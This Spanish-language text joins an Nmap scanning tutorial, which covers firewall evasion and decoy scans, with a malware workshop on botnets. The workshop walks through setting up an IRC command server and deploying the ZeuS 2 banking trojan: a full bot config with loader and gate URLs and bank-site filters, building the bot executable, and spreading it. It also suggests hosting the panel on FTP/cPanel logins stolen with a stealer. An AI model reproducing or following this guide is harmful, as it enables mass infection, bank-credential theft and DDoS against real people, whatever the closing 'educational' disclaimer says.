Mapeo de redes con Nmap

Introducción:
Antes de comenzar, quiero resaltar que Zenmap es casi lo mismo que Nmap, la única diferencia es que Nmap es por consola y Zenmap tiene entorno grafico

NMAP
Zenmap
NMAP (Network Mapper o Mapeador de Redes) es una herramienta para scannear puertos abiertos. Se diseño para explorar grandes redes, aunque funciona a perfecto también para hacer mapeos a equipos individuales. A demás de puertos, también dice que servicio lo utiliza y sus versiones. Otra de las cosas que suele mostrar es que filtros o cortafuegos tiene, y a veces hasta el sistema operativo que tiene el equipo entre otras docenas de cosas.
Nmap es una herramienta que se usa mucho en auditorias de seguridad y a demás muchos la usan con fines delictivos. Lo primordial es su tabla de puertos con sus estados que son los siguientes: 

Closed: Cerrado
Open: Abierto
Filtred: Filtrado
Unfiltred: No Filtrado

Abierto significa que la aplicación en la máquina destino se encuentra esperando conexiones o paquetes en ese puerto. Filtrado indica que un cortafuego, filtro, u otro obstáculo en la red está bloqueando el acceso a ese puerto, por lo que Nmap no puede saber si se encuentra abierto o cerrado.  Los puertos cerrados no tienen ninguna aplicación escuchando en los mismos, aunque podrían abrirse en cualquier momento. Los clasificados como no filtrados son aquellos que responden a los sondeos de Nmap, pero para los que que Nmap no puede determinar si se encuentran abiertos o cerrados.
A lo largo de este tutorial se encontraran con parámetros en mayúsculas y minúsculas, es muy importante que los respeten ya que varia su función.

Primeros pasos con Nmap

Haremos un simple mapeo a una red e ip cualquiera, para saber que puertos tiene abiertos
La sintaxis del comando seria así: 

NMAP [Parametro] [Host] 
En este caso no tenemos parámetros ya que es solo un simple mapeo a la IP para observer los puertos abiertos.
Tambien podemos scannear puertos que nosotros queramos, para ello con el parámetro  –p colocamos los puertos separándolos por coma
Sintaxis del comando: 

Nmap –p [Puertos] [Host]
Ejemplo:

Nmap –p 80,135,2000,8080 192.168.1.3
Ahora bien, si queremos ver el sistema operativo que tiene el equipo seria así:

Nmap –O [HOST]
Como se puede ver en el scanneo dice que resulta poco fiable la obtención del sistema operativo por qué no se encontró al menos un puerto abierto o cerrado del sistema operativo. Pero que según el Scanneo puede ser alguno de estos:
Running: Microsoft Windows 2000|XP|2003
Ahora les voy a mostrar algo que suele ocurrir no muy frecuente, pero que si es probable que les pase. Al tirar un mapeo a una pc a la cual no logre identificar su sistema operativo.
Pero que es esa cadena de texto dentro de TCP/IP Fingerprint…?
TCP/IP fingerprint:
OS:SCAN(V=5.59BETA1%D=12/30%OT=21%CT=1%CU=30523%PV=Y%DS=1%DC=D%G=Y%M=0015F2
OS:%TM=4EFDC93D%P=i686-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=109%TI=Z%CI=Z%II=I
OS:%TS=8)OPS(O1=M5B4ST11NW6%O2=M5B4ST11NW6%O3=M5B4NNT11NW6%O4=M5B4ST11NW6%O
OS:5=M5B4ST11NW6%O6=M5B4ST11)WIN(W1=3890%W2=3890%W3=3890%W4=3890%W5=3890%W6
OS:=3890)ECN(R=Y%DF=Y%T=40%W=3908%O=M5B4NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O
OS:%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=3890%S=O%A=S+%F=AS%O=M5B4ST
OS:11NW6%RD=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=
OS:40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=1
OS:64%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Esa cadena es a lo que se llama Huella TCP/IP. NMAP reconoce a un sistema operativo porque cada uno responde de una forma diferente.
En este caso nos muestra esa cadena de texto por qué no logro identificarlo con exactitud.

Ahora veremos hosts activos en una red. Para ello debemos saber la puerta de enlace. En mi caso es 192.168.1.1. Como sabemos, una red puede alojar máximo 255 hosts.  Lo que haremos será un ping scan para saber cuántos hosts hay en mi red. Asi que el comando sería el siguiente:

Nmap –sP 192.168.1.1-255
Veremos un listado como el de la imagen, el cual nos mostrara IPs, MAC, etc…

Puertos y Servicios.

Ahora scannearemos un host, veremos sus puertos, servicios y la versión de sus servicios para saber si se pueden o no explotar.
Tipeamos lo siguiente:

nmap –sV [HOST]
Como se puede ver en la imagen, hay servicios activos en sus respectivos puertos, y en caso de existir un Exploit para explotar dicho servicio, se podría vulnerar y entrar a la pc.
Los comandos se pueden combinar como en el siguiente ejemplo:
Nmap –sV –O [HOST] (Para sacar Servicios, versiones y sistema operativo)
También podemos encontrarnos con Firewalls. Y nmap cuenta con comandos para evadirlos. Uno de ellos es –f
La línea de comando nos quedaría asi:
Nmap –sV –O –f [HOST]
(Para scannear puertos, servicios, versiones y sistema operativo de forma invisible)
Y el resultado sería igual a la imagen anterior.
Como venimos viendo no existe un parámetro mejor o peor que otro,  ya que cada uno de ellos realiza tareas distintas.
Yo les acabo de mostrar los más usuales y ahora veremos que a demás de colocar la ip, también podemos colocar un dominio. por ejemplo:
nmap antrax-labs.org

Evasion de Firewalls [Stealth Scans]

Nmap cuenta con comandos para evadir Firewalls que no estén bien configurados.
Los parámetros para esto son:
-sX (Stealth Xmas Tree Scan, este tipo de scan envía paquetes con los flag FIN, URG, y PUSH activados)
-sN (Stealth, Null Scan, este tipo de scan pone en off todos los flags)
-sF (Stealth FIN Scan, este tipo de scan usa paquetes con el flag FIN activado para las pruebas)
El resultado sera el mismo al scanneo de peurtos normal.
Realiza el scanneo evadiendo el Firewall y muestra los servicios activos y en que puertos están funcionando.
Otro parámetro útil es el -P0, lo que hace este parámetro no enviar ping al objetivo antes del scanneo. De esta manera, el Firewall no bloquea el scanneo.

Exportar Resultados de Scanneos

Nmap permite exportar scanneos en formato *.TXT o *.XML
Los parámetros para ello son: -oN (txt) –oX (xml)
La sintaxis seria:

nmap –sV 192.168.1.1 –oN Desktop/test.txt
Y el texto en este caso quedaría en el Desktop y se vería así:
# Nmap 5.59BETA1 scan initiated Thu Jan  5 20:14:06 2012 as: nmap -sV -oN Desktop/test.txt 192.168.1.1
Nmap scan report for 192.168.1.1
Host is up (0.083s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE VERSION
80/tcp    open  http    TP-LINK WR740N WAP http config
1900/tcp  open  upnp    TP-LINK TL-WR740N WAP UPnP 1.0 (ipos 7.0; UPnP 1.0)
49152/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port49152-TCP:V=5.59BETA1%I=7%D=1/5%Time=4F062EC6%P=x86_64-unknown-linu
SF:x-gnu%r(FourOhFourRequest,52,"HTTP/1\.1\x20404\x20Not\x20Found\r\nConne
SF:ction:\x20close\r\nDate:\x20Fri,\x2006\x20Jan\x202012\x2007:14:10\x20GM
SF:T\r\n\r\n")%r(GetRequest,52,"HTTP/1\.1\x20404\x20Not\x20Found\r\nConnec
SF:tion:\x20close\r\nDate:\x20Fri,\x2006\x20Jan\x202012\x2007:14:10\x20GMT
SF:\r\n\r\n")%r(SIPOptions,44,"HTTP/1\.1\x20501\x20Unimplimented\r\nConnec
SF:tion:\x20close\r\nContent-Length:\x200\r\n\r\n");
MAC Address: D8:5D:4C:C7:DC:EE (Tp-link Technologies Co.)
Service Info: Device: WAP

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
# Nmap done at Thu Jan  5 20:15:46 2012 -- 1 IP address (1 host up) scanned in 100.25 seconds
Despistando al Host con un señuelo (Decoy Scan)

Esto sirve de alguna forma para anonimizar el scanneo. Hace creer al host que lo scannean otros hosts que no es el nuestro.
Sintaxis de parámetros:

nmap –sV –D [host1],[host2] [host]
Ejemplo:

nmap –sV –D 192.168.1.77,192.168.1.211 192.168.1.1
Y en ese caso, pensara que el que scannea es el host 192.168.1.77 y el 192.168.1.211
El resultado del scanneo sera el mismo al de Puertos y Servicios por el parametro -sV
Puertos TCP y UDP
Nmap permite filtrar puertos TCP y UDP. Los parámetros para ellos son:
TCP: -sT
UDP: -sU
Existen otros parámetros, que en este paper no explique, pero si les dejo junto a este paper una imagen que contiene todos los parámetros con una breve descripción de cada uno.


Espero que les sea útil!

Greets to: Sergio Alonso - Pablo Quesada

Taller de Malwares #4 [Botnets]


¿Qué es una Botnet?
  La palabra Botnet, proviene de Bot (robot). Están compuestos por un cliente y por “zombies”, Los zombies son los ordenadores infectados por dicha Botnet, y el cliente es el que utilizaremos para darles órdenes por medio de comandos.

Tipos de Clientes
  Hay varias formas de manipular una Botnet, entre los cuales podemos resaltar los siguientes:

-   IRC
-   Web Panel
-   Clientes de escritorio

  En el IRC, lo que hacemos es que todos nuestros zombies conecten a un mismo canal de IRC y esperen órdenes por medio de comandos.

Como podemos ver en esta imagen, todos los nombres de la derecha son ordenadores infectados por esta Botnet.
  De forma muy similar pasa con el Web Panel, los zombies conectan a una misma IP, en donde tendremos un panel en el cual podremos introducir comandos.
Cuando digo Clientes de escritorio, hago referencia a que es similar a un troyano, con su Cliente-Servidor. Los zombies conectan a una DNS y desde nuestro cliente podremos darles órdenes.

¿Cómo Funcionan las Botnets?
  Al igual que los troyanos, las Botnets están compuestas por un cliente-servidor.
  Se propagan rápidamente por internet y tienen distintos tipos de Spreads. Entre ellos podemos destacar el muy conocido spread por MSN que seguramente más de una vez lo hemos visto.

En este caso envía un archivo “photo39.zip” en donde supuestamente envía fotos, pero no es más que un malware

En esta otra imagen podemos ver que nos envía un enlace que supuestamente tiene una canción. Pero no nos lleva a otro lado que no sea una infección segura…
También existe la infección en Facebook que es un medio de comunicación y la red social más utilizada hoy en día.

En los dos casos muestra videos que se ven tentadores, pero es un gusano que se propaga por Facebook. Asique si alguna vez entraron, lo más probable es que se hayan infectado…
Otro tipo de infección es por URL.

 En este caso nos aparece una advertencia sobre la actualización de Flash Player. Pero al dar en ejecutar, no haremos otra que cosa que sea ejecutar el server que nos infectara…
Así como estos que hemos visto, existen más formas de las cuales podremos infectarnos. Y por más que tengamos el Antivirus actualizado, nos infectaremos igual. Más adelante veremos porque cuando veamos los métodos de indetectabilidad.
Las Botnets lo que producen siempre es una infección en cadena. Esto quiere decir que si yo infecto a un contacto mío en el caso del MSN o a un amigo del Facebook, este infectara a los suyos, y a su vez este a los suyos y así sucesivamente hasta formar una gran cadena de infección con miles y miles de PCs zombies esperando mis órdenes para atacar…

 
¿Para qué Sirven las Botnets?
Las Botnets son utilizadas para hacer Spam con la finalidad de obtener información financiera para poder sacarle provecho. Al tener buena propagación, se infectan miles de ordenadores en busca de cuentas bancarias, tarjetas de crédito, y otros logins de interés.
Otro uso que se le suele dar es el de abuso de publicidad con el servicio que nos brinda adsense. De esta forma se puede obtener mayor cantidad de visitas gracias a los zombies que tengamos en nuestra Botnet y de esta forma ganar bastante dinero.
También es muy utilizada para ataques de DDoS (Denegacion de servicio distribuido) que sirve para tirar websites, foros y puede llegar a causar daños en la base de datos o consumir el ancho de banda para que deje de funcionar.
Otros usos que se les puede dar, que aunque no son muy vistos, es bueno mencionarlos:
· Construir servidores para alojar software warez, cracks, seriales, etc
· Construir servidores web para alojar material pornográfico y pedofílico
· Construir servidores web para ataques de phishing
· Redes privadas de intercambio de material ilegal
· Sniffing de tráfico web para robo de datos confidenciales
· Distribución e instalación de nuevo malware
· Manipulación de juegos online

¿Qué diferencia hay entre un ataque DoS y un DDoS?

Ataque DoS
Un servidor web está preparado para soportar una cierta cantidad de peticiones o conexiones simultáneas. Si supera ese límite de conexiones, pueden pasar dos cosas:
1)     La respuesta de las peticiones de los usuarios pueden ser lentas o nulas
2)     El Servidor se desconecta de la red y queda sin conexión.

A eso se le llama ataque DoS (Denial o Service / Denegacion de Servicio) Satura el servidor por medio de muchas peticiones de una misma pc que poco a poco va consumiendo recursos hasta que comience a rechazar las peticiones y comenzara a denegar el servicio (DoS)
Como desventaja tiene que el administrador puede ver de dónde vienen todos esos ataques, banea la IP y el ataque cesa…

Ataque DDoS

Esto es algo similar al ataque DoS, ya que este tipo de ataque también consiste en tirar el servidor. La diferencia está en que este ataque es distribuido. Esto quiere decir que no se ataca desde una sola PC como en el DoS, sino que son muchas PCs, haciendo peticiones al mismo servidor. El administrador de la web no podrá saber de dónde viene el ataque, por lo tanto cuesta más detenerlo. A esto se lo llama Denegación de Servicio Distribuida (DDoS)

Este tipo de ataque (DDoS) Se hace con una red Zombie. En otras palabras, se hace con una Botnet.
En ambos casos lo que se busca es consumir el ancho de banda del servidor para tirar la web.
Obviamente es mucho más potente un ataque con una Botnet ya que son varias PCs las que atacan a un solo sitio.

¿Cómo montar una Botnet?
Si bien mencione antes los 3 tipos de Botnets, ya sea por IRC, HTTP, o un ejecutable programado en algún lenguaje. En los tres casos vemos que los zombies deben apuntar al mismo sitio. En el caso del IRC, apuntarlo a un canal registrado en algún servidor. Si es por HTTP, apuntarlo a un host y si es por cliente de escritorio, apuntarlo a algún subdominio (DNS). En todos los casos corremos riesgos de perder todos los remotos, ya que puede ser denunciada o que nos descubran.
Ahora les enseñare cómo montar una Botnet.

BOTNET POR IRC
Lo que debemos hacer es tener una buena PC con buena conexión para que soporte todos los remotos. Una vez que la tenemos, podemos crear un servidor de IRC y mandar a todos los zombies ahí. De esta manera no se perderán con facilidad todos los remotos que tengamos.
Montaremos un servidor de IRC en nuestra propia PC.
Descargamos el IRCPlus, Lo instalamos y nos vamos a su pantalla principal de configuración:

Colocamos un nombre en el Server y una descripción.
Es importante aclarar que el puerto que pongamos, en mi caso el 2000, debe estar abierto en nuestro router en caso de que tengamos. En caso de tener router y no tenerlo abierto, lo abrimos de la misma forma que cuando usamos un troyano.
El resto de las opciones son a su gusto, como por ejemplo la de los canales:

Importantísimo lo que esta remarcado en rojo, ya que de esta forma podrán entrar todos los zombies a nuestro canal sin ningún tipo de restricción.
También es bueno crear un user admin para controlar el canal y el servidor.
Registramos el Nick:

Y luego Vamos a Operators

Como pueden ver, ahí mi user esta como Operador del IRC.
Ahora vamos a nuestro cliente de irc

Colocamos /server “NO-IP” o IP
En mi caso coloque mi no-ip de test

Ahí nos da una bienvenida.
Identifico mi user de la siguiente manera
/pass “Password”
Ejemplo: /pass 12345
Y por ultimo entramos al canal:

Bueno, ahí entraran nuestros zombies y podremos manipularlos por comandos definidos previamente en la botnet.
Aca les pongo una captura de ejemplo de cómo se ve una botnet por IRC. Cuando entran zombies

Como ven el primero de todo es el Operador del canal, quien manipulara la Botnet, y el resto son los zombies.
De esta forma, no podrán darnos de baja el canal ya que el servidor lo tendremos montado en nuestra propia PC. Lo único malo es que pueden localizar en donde está el servidor. Esto corre bajo sus propios riesgos.

BOTNET POR HTTP
Ahora les enseñare a cómo montar una Botnet por HTTP. En este caso utilizaremos la ZEUS Botnet 2 que es la más reciente.
Les mostrare como montarla con las configuraciones básicas, ya que se pueden agregar opciones más avanzadas, pero para no complicarla tanto, veremos lo básico para que quede funcionando.
En la carpeta de la Botnet podremos ver todos estos directorios

La carpeta llamada “server[php]” es la que debemos subir a algún hosting. Este hosting no debe ser gratuito.
Para todos los que vienen siguiendo y practicando estos talleres, podrán notar que pueden utilizar algún FTP con Cpanel capturada con el Stealer.
Dentro de esta carpeta podremos ver los siguientes ficheros y directorios:

Abrimos el cliente de FTP y los subimos a todos

Una vez hecho esto, lo que deberemos hacer, es crear una base de datos y un usuario que acceda a ella.
Para ello debemos ir al Cpanel ---> MySQL Bases de Datos

Una vez creada, haremos también un usuario

Y finalmente las vinculamos

Le damos todos los permisos a la cuenta

   
Y Listo, ya tenemos hecha nuestra base de datos, que será en donde se guarden todos los logs que capturemos.
Ahora configuraremos el server del Bot. Para ello vamos al directorio Builder y abrimos el archivo llamado config.txt
Les pego el texto plano del *.txt
;Build time:   22:38:59 11.03.2011 GMT
;Version:      2.0.8.9

entry "StaticConfig"
  ;botnet "btn1"
  timer_config 60 1
  timer_logs 1 1
  timer_stats 20 1
  url_config "http://localhost/config.bin"
  remove_certs 1
  disable_tcpserver 0
  encryption_key "secret key"
end

entry "DynamicConfig"
  url_loader "http://localhost/bot.exe"
  url_server "http://localhost/gate.php"
  file_webinjects "webinjects.txt"
  entry "AdvancedConfigs"
    ;"http://advdomain/cfg1.bin"
  end
  entry "WebFilters"
    "!*.microsoft.com/*"
    "!http://*myspace.com*"
    "https://www.gruposantander.es/*"
    "!http://*odnoklassniki.ru/*"
    "!http://vkontakte.ru/*"
    "@*/login.osmp.ru/*"
    "@*/atl.osmp.ru/*"
  end
  entry "WebDataFilters"
    ;"http://mail.rambler.ru/*" "passw;login"
  end
  entry "WebFakes"
    ;"http://www.google.com" "http://www.yahoo.com" "GP" "" ""
  end
end

Y acá una imagen de cómo debería quedar:

Pasare a explicar las modificaciones:
;botnet "btn1"
Modificamos a lo que está entre comillas por localhost, que será en donde estará situada la botnet.
url_config "http://localhost/config.bin"
Modificamos la Url por la nuestra. En este caso debemos especificar en donde se encuentra el config.bin (que aun no hemos creado, pero es el directorio que se estima que estará)
encryption_key "secret key"
Acá debemos poner una llave secreta. Que es un código que nosotros queramos. En mi caso presione varias teclas al azar.
url_loader "http://localhost/bot.exe"
url_server "http://localhost/gate.php"
Por último tenemos estas dos, una es en donde tenemos el bot.exe (que aun no lo hemos creado, pero es en donde estará alojado) Y el otro es el gate.php que ya hemos subido previamente.
Ahora abrimos el zsb para crear el config.bin y el bot.exe que nos faltan.

En Encryption Key, la llave que colocamos en el config.txt
Seguido a esto vamos a Builder.
Damos en Browse… y Buscamos el config.txt
Seguido a esto damos click en “Build the Bot Configuration
Guardamos el config.bin que nos genera y finalmente damos click en “Build the bot Executable
Y guardamos el bot.exe

Ahora si subimos el config.bin y el bot.exe por FTP.

Una vez hecho esto, ya estamos en condiciones de comenzar a infectar.
Ese bot.exe que generamos es el server que debemos propagar.

Entramos vía web a nuestro panel. Recuerden que el panel es ese que se llama cp.php

Procederé a autoinfectarme, para probar si funciona (Ustedes no hagan este paso ya que dañara severamente su ordenador)
Una vez ejecutado el server, este desaparecerá y conectara a nuestro cliente vía web, Se verá algo así:

Si investigan un poco el panel del bot, podrán ver las opciones para ver los logs, para atacar webs, etc…
También tenemos la Botnet con cliente de escritorio que no es necesario que la explique ya que no es muy frecuente verla y se configura de igual forma que un troyano común.
Este material expuesto es con fines educativos. No me hago responsable del mal uso que se le pueda dar.